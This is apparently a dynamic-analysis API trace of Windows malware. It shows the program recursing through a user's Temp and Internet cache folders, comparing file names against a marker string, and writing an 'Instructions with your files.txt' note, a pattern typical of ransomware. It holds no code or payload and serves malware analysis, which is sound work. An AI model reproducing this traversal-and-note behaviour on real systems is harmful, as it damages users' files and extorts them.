[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LNhdUrdB4Qcj OEFDPG.odt") returned 76
[0130.832] StrStrIW (lpFirst="LNhdUrdB4Qcj OEFDPG.odt", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x137aae10, ftCreationTime.dwHighDateTime=0x1d5bf9f, ftLastAccessTime.dwLowDateTime=0x3ae61c90, ftLastAccessTime.dwHighDateTime=0x1d5c5d6, ftLastWriteTime.dwLowDateTime=0x3ae61c90, ftLastWriteTime.dwHighDateTime=0x1d5c5d6, nFileSizeHigh=0x0, nFileSizeLow=0x12554, dwReserved0=0x0, dwReserved1=0x0, cFileName="MKIpUBRh.wav", cAlternateFileName="")) returned 1
[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MKIpUBRh.wav") returned 65
[0130.832] StrStrIW (lpFirst="MKIpUBRh.wav", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d0efaf0, ftCreationTime.dwHighDateTime=0x1d5bf6a, ftLastAccessTime.dwLowDateTime=0x9b879a70, ftLastAccessTime.dwHighDateTime=0x1d5bf72, ftLastWriteTime.dwLowDateTime=0x9b879a70, ftLastWriteTime.dwHighDateTime=0x1d5bf72, nFileSizeHigh=0x0, nFileSizeLow=0xf36a, dwReserved0=0x0, dwReserved1=0x0, cFileName="noq2GlEnBA.wav", cAlternateFileName="NOQ2GL~1.WAV")) returned 1
[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\noq2GlEnBA.wav") returned 67
[0130.832] StrStrIW (lpFirst="noq2GlEnBA.wav", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x403f5230, ftCreationTime.dwHighDateTime=0x1d5c061, ftLastAccessTime.dwLowDateTime=0x9797ed50, ftLastAccessTime.dwHighDateTime=0x1d5befc, ftLastWriteTime.dwLowDateTime=0x9797ed50, ftLastWriteTime.dwHighDateTime=0x1d5befc, nFileSizeHigh=0x0, nFileSizeLow=0x12842, dwReserved0=0x0, dwReserved1=0x0, cFileName="oaf9VZyoL.mp3", cAlternateFileName="OAF9VZ~1.MP3")) returned 1
[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\oaf9VZyoL.mp3") returned 66
[0130.832] StrStrIW (lpFirst="oaf9VZyoL.mp3", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4384b4e0, ftCreationTime.dwHighDateTime=0x1d5b5bb, ftLastAccessTime.dwLowDateTime=0x8053cc70, ftLastAccessTime.dwHighDateTime=0x1d5bada, ftLastWriteTime.dwLowDateTime=0x8053cc70, ftLastWriteTime.dwHighDateTime=0x1d5bada, nFileSizeHigh=0x0, nFileSizeLow=0x5c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUv_tXkV4SGWAx2DqLJ.swf", cAlternateFileName="OUV_TX~1.SWF")) returned 1
[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\OUv_tXkV4SGWAx2DqLJ.swf") returned 76
[0130.832] StrStrIW (lpFirst="OUv_tXkV4SGWAx2DqLJ.swf", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe606f200, ftCreationTime.dwHighDateTime=0x1d5bb6a, ftLastAccessTime.dwLowDateTime=0xc9fc42f0, ftLastAccessTime.dwHighDateTime=0x1d5bcdb, ftLastWriteTime.dwLowDateTime=0xc9fc42f0, ftLastWriteTime.dwHighDateTime=0x1d5bcdb, nFileSizeHigh=0x0, nFileSizeLow=0x14e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="pyfraT-7-v3iTn_V.avi", cAlternateFileName="PYFRAT~1.AVI")) returned 1
[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\pyfraT-7-v3iTn_V.avi") returned 73
[0130.832] StrStrIW (lpFirst="pyfraT-7-v3iTn_V.avi", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8069410, ftCreationTime.dwHighDateTime=0x1d5c0ff, ftLastAccessTime.dwLowDateTime=0x98a53770, ftLastAccessTime.dwHighDateTime=0x1d5c406, ftLastWriteTime.dwLowDateTime=0x98a53770, ftLastWriteTime.dwHighDateTime=0x1d5c406, nFileSizeHigh=0x0, nFileSizeLow=0x141ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="rkWu.pps", cAlternateFileName="")) returned 1
[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rkWu.pps") returned 61
[0130.832] StrStrIW (lpFirst="rkWu.pps", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdaff7710, ftCreationTime.dwHighDateTime=0x1d5c592, ftLastAccessTime.dwLowDateTime=0xf8bcd9a0, ftLastAccessTime.dwHighDateTime=0x1d5bf07, ftLastWriteTime.dwLowDateTime=0xf8bcd9a0, ftLastWriteTime.dwHighDateTime=0x1d5bf07, nFileSizeHigh=0x0, nFileSizeLow=0x116ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="RzKUg-Qcu2yb.ots", cAlternateFileName="RZKUG-~1.OTS")) returned 1
[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RzKUg-Qcu2yb.ots") returned 69
[0130.832] StrStrIW (lpFirst="RzKUg-Qcu2yb.ots", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde7bb460, ftCreationTime.dwHighDateTime=0x1d5c404, ftLastAccessTime.dwLowDateTime=0xea6386b0, ftLastAccessTime.dwHighDateTime=0x1d5b83b, ftLastWriteTime.dwLowDateTime=0xea6386b0, ftLastWriteTime.dwHighDateTime=0x1d5b83b, nFileSizeHigh=0x0, nFileSizeLow=0x321a, dwReserved0=0x0, dwReserved1=0x0, cFileName="snRX.ppt", cAlternateFileName="")) returned 1
[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\snRX.ppt") returned 61
[0130.832] StrStrIW (lpFirst="snRX.ppt", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
[0130.833] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files") returned 77
[0130.833] GetProcessHeap () returned 0x810000
[0130.833] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.833] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\*") returned 79
[0130.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.833] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\.") returned 79
[0130.834] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.834] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.834] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\..") returned 80
[0130.834] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.834] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
[0130.834] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5") returned 89
[0130.834] GetProcessHeap () returned 0x810000
[0130.834] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.834] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\*") returned 91
[0130.834] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.834] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\.") returned 91
[0130.834] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.834] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.834] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\..") returned 92
[0130.834] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.834] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="03J4UQW0", cAlternateFileName="")) returned 1
[0130.834] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0") returned 98
[0130.834] GetProcessHeap () returned 0x810000
[0130.834] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.835] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\*") returned 100
[0130.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.836] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\.") returned 100
[0130.836] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.836] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.836] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\..") returned 101
[0130.836] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.836] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.836] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini") returned 110
[0130.836] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.836] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0130.836] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\Instructions with your files.txt") returned 131
[0130.836] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\03j4uqw0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.837] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.838] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.838] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.838] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.838] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.838] CloseHandle (hObject=0x120) returned 1
[0130.838] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.838] GetProcessHeap () returned 0x810000
[0130.838] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.838] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.838] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini") returned 101
[0130.838] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.838] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
[0130.838] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat") returned 99
[0130.838] StrStrIW (lpFirst="index.dat", lpSrch="SDfghjkl") returned 0x0
[0130.838] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KETAJP6D", cAlternateFileName="")) returned 1
[0130.838] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D") returned 98
[0130.838] GetProcessHeap () returned 0x810000
[0130.838] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.838] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\*") returned 100
[0130.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.839] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\.") returned 100
[0130.839] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.839] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.839] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\..") returned 101
[0130.839] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.839] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.839] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini") returned 110
[0130.839] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
